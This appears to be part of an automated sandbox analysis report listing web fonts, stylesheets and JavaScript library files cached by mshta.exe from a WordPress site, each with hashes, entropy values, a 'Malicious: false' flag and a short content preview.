Size (bytes):	26118
Entropy (8bit):	7.970184406626934
Encrypted:	false
SSDEEP:	768:Il7bajNBleEzCTFhEctniWorQDzlIgJg4Qf06Fzq1qZ:IsjNe2SjtLor6lTcf0yzIqZ
MD5:	57425A0BD70ABEC6F5FD38D3B2507E89
SHA1:	6F7576213E3FCC093C38C96DB22EC701A1E6EAAA
SHA-256:	AB98070851F53310219E56128C117B5BA13BC63B822637B1B1103277C1E3010C
SHA-512:	6AC3F2676A83839DCEE79D501ABDE1FF4F04D818654489A949172800406E5F9034085C861BB4EB734F92478F870C795640C32D087FBCD3F9E25984B30E3A6FE4
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot
Preview:	.f...e............................LP'...J.............. ....Z.i.....................L.a.t.o.....B.o.l.d...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .B.o.l.d.....BSGP.....................C..I..4........ZB....D...X,S..O.......l.i...@.`..#....OjOz.....@....Y%hC..9......A..h...0..uH....n-)5.u[....W.u.....EE..j5.0.g......j'[.~.2Nv..le.'V.o.r........P}....c.....J.J.......j.2...>...(.J.:g..W..Q..X...f..).>........./(.%.7(.".......f1.....v9......O4...@..].Kv..'.>......&H.c...0>..9#...}....I+#W....".%p&.Yr.I5.............S..,$...&m.&1. ..!..U..^Y.0413l.9 .Q.........{Csw....f....X.P'.....R216...=E.g.7..T..5..m.>c....C.O.}C.X.../y\.$ ......4.......u.R......R.+..G.S.I.I..D&....b....+.o....[@.#n.4.<.D....$a....y.+....A.K.rF.....`.\.Z.AQG.@mD.......'\|.........80...c..a..5.{..Y8......9.q".!.....R<v...g3....B.T.]>.....#...x...0..<..D.._.=...t.:8....G]..;L...\q.F.C..f._.@..9g..kp...:N.HB..B..}.%..R..T%[.$z

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\S6u9w4BMUTPHh7USSwiPHQ[1].eot

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	Embedded OpenType (EOT), Lato Light family
Category:	downloaded
Size (bytes):	24456
Entropy (8bit):	7.962811770770542
Encrypted:	false
SSDEEP:	384:rD2u7JY1e7uWKgCWOv1x21IA3qjRD7yKbev6YyNPpEaQsclWZaXVCqDoH9Hjl9uL:NuW3vOv1sk1DWKC6YyeH9FVCVHJYpTIc
MD5:	D07A3DF5EB89A8BBEA764021336FC851
SHA1:	4168D287AB866CC21F47FC5DCF62B6871DFB210D
SHA-256:	79AD628A22C9AA1A8D30C9F5920D7F432F51804B9750BFE907C3A10D46CDB445
SHA-512:	BA7378D7DBA3C8BBAD610BAAE431339D121B0FE4B2876A1A1E87D9837053F6AC006490B959798B304BA6A96893D0250510FB077D556D2BCA056EE81A2A8970EB
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot
Preview:	._...^......................,.....LP'...J.............. ......N.....................L.a.t.o. .L.i.g.h.t.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o.-.L.i.g.h.t.....BSGP...................?.@..A..2~....`.W.hKr{z~"U:b,/.ezS..........-A.RC...x....E.57z.....%)..nE.'.....`!a.........,~.[A.p2..X.8.\..XO.r..F. N..k..P.[..]ooQ. ...zeX.....q....%4...nR....z.f.L.~6C.c...!..~Wi..V....z....h.......Z.*...&..MOx.N...6....twP,y3....;.b...I..mR.8..........f....9Z$..^....._..'...K..P%.Qz:..A..].....U..l.Z.ci}0.\|. ."'`.<............0x..i..h...Ra.....h.V.v..../C"M..DH. .>.D..J.....U.....c....)"....X..$..0o..?#..a.ep..f..#L.f..F[B.R...!.n..l.4..y..<...1..}..4....F..v.y7..9...<.A.=..>..n3#.`}@j...D.b.....U.r........."....8.9.I......L...t.4....f.&...;D.....u0W.U..^Cy..>..Q..#.OQ[Xn..6...?U.FY....m...)K.AE.(8."...j...^...B....kc]....b.'..;A..v........U.9%.........r.....h..k..K..G..)..^..OwV>!=.w.H....`.v+(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\S6uyw4BMUTPHjx4wWg[1].eot

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	Embedded OpenType (EOT), Lato family
Category:	downloaded
Size (bytes):	26669
Entropy (8bit):	7.969873501177376
Encrypted:	false
SSDEEP:	384:3o0KhHhcVoBbXSW9jDQfwYejcrqTGOBnhwHAVKnn5DwVGUDucy6RormfvtZk+:YP2Ob/DowqrMnhwHZntuHRy62rmf8+
MD5:	F0AA40EA96D1920A1A96329B4A35EDED
SHA1:	31E6A2EAF78903F0487F2DB6319D7A8E5186C218
SHA-256:	E745A8D2C87907FEE0267896B226BCAD1A2634A8C6826BC284F06875B14F0E60
SHA-512:	B22522660F8C966675003E592DE0A7338BB08E68456BBDF661FFAEC3CB9B33D71C63C870C30A0177A32AA2E1EF5014DF27F57D67AB21690D36FB0FF360722680
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
Preview:	-h..7g............................LP'...J.............. ......>.....................L.a.t.o.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .R.e.g.u.l.a.r.....BSGP.....................B..H..3........ZB....D...X,S..O...G.cu.b.>Nj....l.\t.bcA.85..N.~.X...d..%HL...a.EY.I....QL...,.#0...m.V.E)...L7.E)......T[t;T.... 0.\y.b{l.d..Jplc.,.......9...K..}.Q..\|..W...3.q..rt..G#W....q....&.V_.bh.ql..z[.>....,. ......1.AfE.....q.2.e...d.....+o>....)..1f..2.~.\|.../.."..k0.).......Bzj"&~.J..pF1V3......Q..&R..H...O`..Z.n.a.h@.e.Z.,<Ex./......%..#C....##...&. ..ub...{..x.h.TA.....0OA:.8....E...}...H...ZN.f...s..g&..~y.Q;9......;.X..S...x..g..I.O.JX.k............!...h_...........Q. .\L.^.f.n.t.\|.Y..j)..G..{.....`.V..ZM.b.+.v-..X.XMQ......A.../..C....N......4Xi..a..e...v..?......=..4O......Og.S`.W.&..w.>...>.....Hu.......5....."...........r.._..M:.k...q..O9....Fy.2.1...y)..[.F4.d~.........0./...^L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\camera[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	26264
Entropy (8bit):	5.17784391797181
Encrypted:	false
SSDEEP:	192:D4Js/c+wkDZnVwkExwkBxN7ZDFBxJbtLwb/+luajba3RI4zQDaRzBBpCJyJUt:OeZnMRUCJyJUt
MD5:	4801E1D3D131C3628342CAACC406479D
SHA1:	3078A5FC945049A7B9E90829123ACAE900C74324
SHA-256:	3DF13F8DC45F6168A5EFF9BB8F32FA6807BA3EFE0DB1F76CE808BB7B0F48CA01
SHA-512:	9863D94FECA024EE25B8D1F93F20D0E2E86A9E884C6E3325149DE148F12F54DF82DF2FA0995FBC3FC3C66B4AB15382251703CEE2C7A623CCB86B19601B9E6B1D
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
Preview:	/*************************...GENERAL..**************************/..camera_wrap a, .camera_wrap img, ..camera_wrap ol, .camera_wrap ul, .camera_wrap li,..camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td..camera_thumbs_wrap a, .camera_thumbs_wrap img, ..camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,..camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {..background: none;..border: 0;..font: inherit;..font-size: 100%;..margin: 0;..padding: 0;..vertical-align: baseline;..list-style: none.}..camera_wrap {..display: none;..float: left;..position: relative;..z-index: 0;.}..camera_wrap img {..max-width: none!important;.}..camera_fakehover {..height: 100%;..min-height: 60px;..position: relative;..width: 100%;..z-index: 1;.}..camera_wrap {..width: 100%;.}..camera_sr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\chart.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	19761
Entropy (8bit):	5.458312135639062
Encrypted:	false
SSDEEP:	384:bpO1nM9u0BDwt0u/9jydPsRKiyd+sbyWwDHdQPy0MaryWuDHdQ1Q58:Gwumwt0uVmeKIsiKpAaH
MD5:	6806368C6A0BF73A5236B452FD5C2332
SHA1:	250B6DE151107A11DA015D052CE89D1FE042F23D
SHA-256:	835526E45335B67067D09FEF4876BEB46F6557A357CD6F3EDA61284612983A0D
SHA-512:	D4278F7706EE8631F4DCD910D6247E4A80D1B6BD20B3484F23A039779F951B75BA62EE379EDAE9D4FF6D06A9814F96122481539DF590D9F8E781F4E4C3876D6B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0
Preview:	var Chart=function(s){function v(a,c,b){a=A((a-c.graphMin)/(c.stepsc.stepValue),1,0);return bc.stepsa}function x(a,c,b,e){function h(){g+=f;var k=a.animation?A(d(g),null,0):1;e.clearRect(0,0,q,u);a.scaleOverlay?(b(k),c()):(c(),b(k));if(1>=g)D(h);else if("function"==typeof a.onAnimationComplete)a.onAnimationComplete()}var f=a.animation?1/A(a.animationSteps,Number.MAX_VALUE,1):1,d=B[a.animationEasing],g=a.animation?0:1;"function"!==typeof c&&(c=function(){});D(h)}function C(a,c,b,e,h,f){var d;a=.Math.floor(Math.log(e-h)/Math.LN10);h=Math.floor(h/(1Math.pow(10,a)))Math.pow(10,a);e=Math.ceil(e/(1Math.pow(10,a)))Math.pow(10,a)-h;a=Math.pow(10,a);for(d=Math.round(e/a);d<b\|\|d>c;)a=d<b?a/2:2a,d=Math.round(e/a);c=[];z(f,c,d,h,a);return{steps:d,stepValue:a,graphMin:h,labels:c}}function z(a,c,b,e,h){if(a)for(var f=1;f<b+1;f++)c.push(E(a,{value:(e+h*f).toFixed(0!=h%1?h.toString().split(".")[1].length:0)}))}function A(a,c,b){return!isNaN(parseFloat(c))&&isFinite(c)&&a>c?c:!isNaN(parseFloat(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\cherry-plugin[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1789
Entropy (8bit):	5.215043597951395
Encrypted:	false
SSDEEP:	48:kMcpLsRsdpOIi0hwrtpsDrzdVv6I8ixCYk4f440T8BuP9n:e/+0AOrzdVvQqXwNp9n
MD5:	E7694C9876A74D8AF4840B08D8CC4364
SHA1:	3A301C6DFB6B691B0453CEB4A1065BD7C2A5BD8A
SHA-256:	9E806234DF297746D665A8E76B129BF708E4470D7A50FEF5905D306176BEA1C1
SHA-512:	12F2867F5D91CCD42F3893884BB5BDD1F25AE7024B7CEED9CBF108498EFA374B186C38209A6A0468A88D8A12C1F758E25FE5A081B76588A0BAED4B3A26EDEF51
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
Preview:	jQuery(document).ready(function(){..// OWL Carousel init...cherryPluginCarouselInit();...// Full-width block with left-right paddings...jQuery('.content_box.full-width').wrapInner('<div class="full-block-wrap"></div>');..jQuery(window).resize( function(){...contenBoxResizeFunction();..});...contenBoxResizeFunction();..function contenBoxResizeFunction(){...var width_of_viewport = jQuery(window).width(),....half_width_of_viewport = width_of_viewport / 2,....width_of_container = jQuery('.content-holder > .container').width();....jQuery('.content_box.full-width').width(width_of_container);...jQuery('.content_box.full-width').css({'padding-left': half_width_of_viewport+'px', 'padding-right': half_width_of_viewport+'px', 'margin-left': '-'+half_width_of_viewport+'px'});...jQuery('.full-block-wrap').width(width_of_container);..}.});..function cherryPluginCarouselInit() {..jQuery('div[id^="owl-carousel-"]').each(function(){...var carousel = jQuery(this),....auto_play = parseInt(carousel.attr('

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\cherry.parallax[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	12158
Entropy (8bit):	3.592754771957016
Encrypted:	false
SSDEEP:	192:t3BO6DYHSCIGSNHsVgqdAy3Ho4y+JFynA/RMAPAdLP3fbXchcRiiAf:x3wgkdn4Chv
MD5:	9DFB3EE198D0B5AD45C2A0BCD6BF803B
SHA1:	C90AFF5CC613C7308E0AD69F62B31E19FEFEE4EF
SHA-256:	89FCE279C9EA9D6232EE5A76067340817EF1A0FD4555FAC18095A202BB6DA952
SHA-512:	1155CC8C04C090E7ADC600D3473C481C66041EBB60DDC8189754E6EC61AB49120F3F9505250FA2CFC164AA91F9863E3F4C405381568B33DAC8346D1BA8652F41
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0
Preview:	jQuery(document).ready(function($){. . parallax_box = $('section.parallax-box');. if(parallax_box.length > 0){. ParallaxBox();. }. . function ParallaxBox(). {. var windowSelector = $(window),. documentSelector = $(document),. documentWidth = documentSelector.width(),. windowHeight = windowSelector.outerHeight(),. liteMode = false,. ieVersion = getInternetExplorerVersion();. . var ds = document.documentElement;. . if(!device.mobile() && !device.tablet()){....liteMode = false;. . if (ieVersion !=-1 && ieVersion < 9){. liteMode = true;. }...}else{....liteMode = true;...}. . parallax_box.each(function(). {. parallaxBox($(this));. });. . function parallaxBox(obj){. . var obj_bg = obj.find('.parallax-bg'),. type = obj_bg.data('parall

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\custom-script[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5333
Entropy (8bit):	5.251194517626103
Encrypted:	false
SSDEEP:	96:i7Xo1sX/me8vbi9uq5r+iM19dnFMoOsSyM4WtKNOk:SGsuvbi9odedXyM3tKgk
MD5:	739E27C21C55279E44DCF1C1967E8F5F
SHA1:	F95C101BABBBA485FE49C82991C8299C90D001D9
SHA-256:	611C66D42B9CC55CFA24BA8FC857B9ED01B78E2A5C2A954BC7DD70A889A7AD19
SHA-512:	1DE4C427F75F4F9E9EA3BA37EB697C5E768EBE403CE2E410872CD18C22DB60D4EE0D032D795C9BCA03CE793D84D23B68BA963BF4110D8537F7E2D29B1D5B809C
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0
Preview:	jQuery(document).ready(function(){..var...windowSelector = jQuery(window)..;...windowSelector.resize(function(){...jQuery('.gmap_container').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });...jQuery('.gmap_container2').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });...jQuery('.content_container1').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });..}).trigger("resize");...jQuery('.cherry_media_parallax_1').fadeTo(0, 0);...})..$(function() {..var...menuWrap = $('.header .menu_wrap')..,.offsetArray = []..,.offsetValueArray = []..,._document = $(document)..,.currHash = ''..,.isAnim = false..,.isHomePage = $('body').hasClass('home')? true:false..;....//--------------------------- Menu navigation ---------------------------..$('#topnav > li', menuWrap).each(function(){...if($(this).hasClass('menu-item-type-custom')){....var newUrl = $('header .log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\device.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	2778
Entropy (8bit):	4.92970371310333
Encrypted:	false
SSDEEP:	48:xLnN+tyKOxwaPYuxwFAmKldNzr1JhxPE63haDJ77LMeHrc76cCgP:hTPCoEt6
MD5:	CCD1C11A6BA5DF0CBFC470B04A3739F4
SHA1:	A8864D81DE7689672EF8F916E430AAABF563C22D
SHA-256:	A6BA246C6B7B60AFFBB369C8884D172DD3E4702A594F09BBA678A7773A25E411
SHA-512:	31F7B74A31E796534D0F51BD9BC9004BDD30EE896D987300A220DADAA526753C9C6D00081F4E9D18EA2BF875C776D6ED55CBA62404B22534BCD45A277EC45A79
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0
Preview:	/! device.js 0.1.58 /.(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},device.fxos=function(){return(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\error[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\error[2]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\jquery.mousewheel.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	1392
Entropy (8bit):	5.304639490555412
Encrypted:	false
SSDEEP:	24:JNFww5yF1TY6APXYBfQJbHLcIYADqfIO0hz7aUIONhM7v9O9BK8:JbCsPXYBfQuIIkhzGUdhMLYLK8
MD5:	25DB04E9DAEE1C00F6CA337537C32C01
SHA1:	CC1D92C5536C9B2DD766B6EDDC0C8BA8CF831438
SHA-256:	C8104390115F92B27003B1E4E503EF59343CCFEF4AC19751093544E8CFAEAE26
SHA-512:	F5BCA70968AB8D030218485A4417E2AF39621F7E7DF150C9BCA84281801CA5A43B55759844D677626A5FF53BAD4C049C995E0DB72CB4B549766628718DE9E518
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
Preview:	/! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net). Licensed under the MIT License (LICENSE.txt).. . Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.. * Thanks to: Seamus Leahy for adding deltaX and deltaY. . Version: 3.0.6. * . * Requires: 1.2.2+. /.(function(a){function d(b){var c=b\|\|window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch\|\|a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){if(this.addEventListener)f

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\jquery.simplr.smoothscroll.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	946
Entropy (8bit):	5.1855423510973475
Encrypted:	false
SSDEEP:	24:2GPs6G3ILAMbiEm8QKov1mxulWM8cQ2x17JxrIv:24EMeLQxuj8cQUjVS
MD5:	72944D2F940D2AB8DFDCAA537A9ECDEE
SHA1:	D94FA468B83F9B76EB8F97CEFC6312FBD173A848
SHA-256:	547887F6237649D22B102EDD455869D14A02D3B393CFF5A5886624E4D08DCB3A
SHA-512:	58D77C35684959DBF8B70452CA0D74AE94233055959A3663C44CEC2511045E9BE4665C7F02A0E1DB1B8F2209BD89089FE438EB51F36257F832EC707BC4419C4E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0
Preview:	/* jquery.simplr.smoothscroll version 1.0 copyright (c) 2012 https://github.com/simov/simplr-smoothscroll licensed under MIT */..jQuery(document).ready(function($) {. if(!device.mobile() && !device.tablet()){. $.srSmoothscroll({. step:150,. speed:800. });. }.});..;(function(e){"use strict";e.srSmoothscroll=function(t){var platform = window.navigator.platform; if ((platform === 'MacIntel' \|\| platform === 'MacPPC')){return false}; var n=e.extend({step:170,speed:1000,ease:"swing"},t\|\|{});var r=e(window),i=e(document),s=0,o=n.step,u=n.speed,a=r.height(),f=navigator.userAgent.indexOf("AppleWebKit")!==-1?e("body"):e("html"),l=false;e("body").mousewheel(function(e,t){l=true;if(t<0)s=s+a>=i.height()?s:s+=o;else s=s<=0?0:s-=o;f.stop().animate({scrollTop:s},u,n.ease,function(){l=false});return false});r.on("resize",function(e){a=r.height()}).on("scroll",function(e){if(!l)s=r.scrollTop()})}})(jQuery);.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\magnific-popup[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	9304
Entropy (8bit):	4.884999133560261
Encrypted:	false
SSDEEP:	192:hNQeaSgt1RlPZpFXWi6fEKJHFiN6/kw57F5fmu4xCEBvL:uTPdXDlwFdF5On
MD5:	33F641DF8C0FC8A2A5C9C7FAD61EC019
SHA1:	7E4999E434F83D66A6E436DA9373880C47289704
SHA-256:	690587B44CBF9FF5EFA013957F8460D96B36775ACBB27472CFB6DC34BB91AF4D
SHA-512:	910F7FD759FD016EED7C7707E971DAAD57DB08D5CE421D7C94B43CCCCB67440654B87CC2FA3B75C28DC77DBE77C017B2EB7A1BE38436061AE9CF177F1FA900BB
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3
Preview:	/* Magnific Popup CSS */..mfp-bg {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1042;. overflow: hidden;. position: fixed;. background: #0b0b0b;. opacity: 0.8;. filter: alpha(opacity=80); }...mfp-wrap {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1043;. position: fixed;. outline: none !important;. -webkit-backface-visibility: hidden; }...mfp-container {. text-align: center;. position: absolute;. width: 100%;. height: 100%;. left: 0;. top: 0;. padding: 0 8px;. -webkit-box-sizing: border-box;. -moz-box-sizing: border-box;. box-sizing: border-box; }...mfp-container:before {. content: '';. display: inline-block;. height: 100%;. vertical-align: middle; }...mfp-align-top .mfp-container:before {. display: none; }...mfp-content {. position: relative;. display: inline-block;. vertical-align: middle;. margin: 0 auto;. text-align: left;. z-index: 1045; }...mfp-inline-holder .mfp-content,..mfp-ajax-holder .mfp-content {. width: 100

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\main-style[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	70411
Entropy (8bit):	5.127502328619063
Encrypted:	false
SSDEEP:	384:djgWEVPPo2Oe+fAwE+ZLBdOK1yPRFH1gXnSGPEIQS1hEZNx2+:XrOK1yPRAXpbENx/
MD5:	8C58B6C64504AEC029A5EB64FDA110C7
SHA1:	CC0F3354640103B329923BA00054F750578CB78F
SHA-256:	E0AFECC6055391B4B65D6350F8D05387DF73467D3D8C0DC53CC1AC5CB7B639EA
SHA-512:	5B631A9F5E916321BB23D8FD90BF27394591FB83A1BA2CA8E9976A3875FFB0DECC0A97DD64C516D165814F01F909D9B1B4E1D1A008B76F1C1EE8C4A7747B2A8B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
Preview:	@import url("../CherryFramework/style.css");.@import url(//fonts.googleapis.com/css?family=Lato:100);.@import url(//fonts.googleapis.com/css?family=Lato:300);.@import url(//fonts.googleapis.com/css?family=Lato:400);.@import url(//fonts.googleapis.com/css?family=Lato:700);.@import url(//fonts.googleapis.com/css?family=Lato:900);..wrap { overflow:hidden; }.h1, h2, h3, h4, h5, h6 { margin-top:0; }.h2 {..font-weight:100 !important;..text-shadow:0 0 0 rgba(0,0,0,0);.}.h2 strong { font-weight:900 !important; }.h3 { font-weight:900 !important; }.a {..-webkit-transition:all 0.5s ease;..-moz-transition:all 0.5s ease;..-o-transition:all 0.5s ease;..transition:all 0.5s ease;.}.a:hover { text-decoration:none; }..header {..width:100%;..position:absolute;..top:0;..padding:23px 0 20px;..border:none;..background:#fff;.}.@media (max-width: 767px) {...header {...width:auto;...padding-left:20px;...padding-right:20px;...position:relative !important;..}.}..header:after {..content:'';..position:absolute;..b

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\owl.carousel[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5924
Entropy (8bit):	5.072069034552564
Encrypted:	false
